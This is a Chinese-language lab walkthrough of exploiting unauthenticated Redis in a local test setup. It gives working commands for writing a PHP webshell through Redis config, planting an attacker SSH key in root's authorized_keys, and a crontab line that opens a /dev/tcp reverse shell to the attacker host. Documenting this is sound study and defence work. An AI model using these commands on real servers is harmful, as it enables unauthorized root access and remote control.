0x00:前言

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  • (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

0x01:安装环境

下载ubuntu镜像

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解压安装包:tar -zxvf redis-2.8.17.tar.gz

进入redis目录:cd redis-2.8.17

安装:make

出现 It's a good idea to run 'make test' 😉 即安装成功

make结束后,进入src目录:cd src,
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

使用/etc/目录下的reids.conf文件中的配置启动redis服务:

kali同等配置再来一遍

kali地址 145

靶机地址 148

启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。 比如:

0x02:未授权访问漏洞测试

使用redis客户端直接无账号成功登陆redis:

./redis-cli -h 192.168.150.148

从登陆的结果可以看出该redis服务对公网开放,且未启用认证。

1.利用redis写webshell

利用条件

  • 1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  • 2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

这里由于本地搭建,目录已知,我们可以直接写入shell到/var/www/html目录下

config set dir /var/www/html
config set dbfilename x.php
set webshell "<?php phpinfo(); ?>"

我们到靶机看一下

可见参杂了其他信息,这是由于使用redis写入的文件会自带一些版本信息。有可能导致shell无法执行,可以采用以下命令写入( \r\n\r\n代表换行的意思)

set x "\r\n\r\n<?php phpinfo(); ?>\r\n\r\n"

写入shell

连接

但是在实际渗透过程中,由于redis在生产环境里面数据量经常是十分庞大的
save到php文件里会超过php的允许文件大小,导致无法解析
而且save也不支持仅写入某个数据库,而是只能保存整个redis的实例

所以直接写shell很大概率会失败,当然可以删库写shell,但是。。。

2.利用“公私钥”认证获取root权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

在攻击机中生成ssh公钥和私钥,密码设置为空:

进入.ssh目录,将生成的公钥保存到1.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >1.txt

链接靶机上的redis服务,

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

远程登录靶机的redis服务:redis-cli -h 192.168.0.104 

并使用 CONFIG GET dir 命令得到redis备份的路径:

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

设置上传公钥的备份文件名字为authorized_keys:

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,

至此成功写入ssh公钥到靶机:

在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.150.148

利用私钥成功登录redis服务器

3.利用crontab反弹shell

攻击机 145 监听端口 4000

连接redis,写入反弹shell

redis-cli -h 192.168.150.148

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.150.145/4000 0>&1\n\n"

实际上并没有收到shell 由于权限问题导致写入的root文件无法执行。所以实际渗透中有待考量。

0x03:参考

https://www.cnblogs.com/bmjoker/p/9548962.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注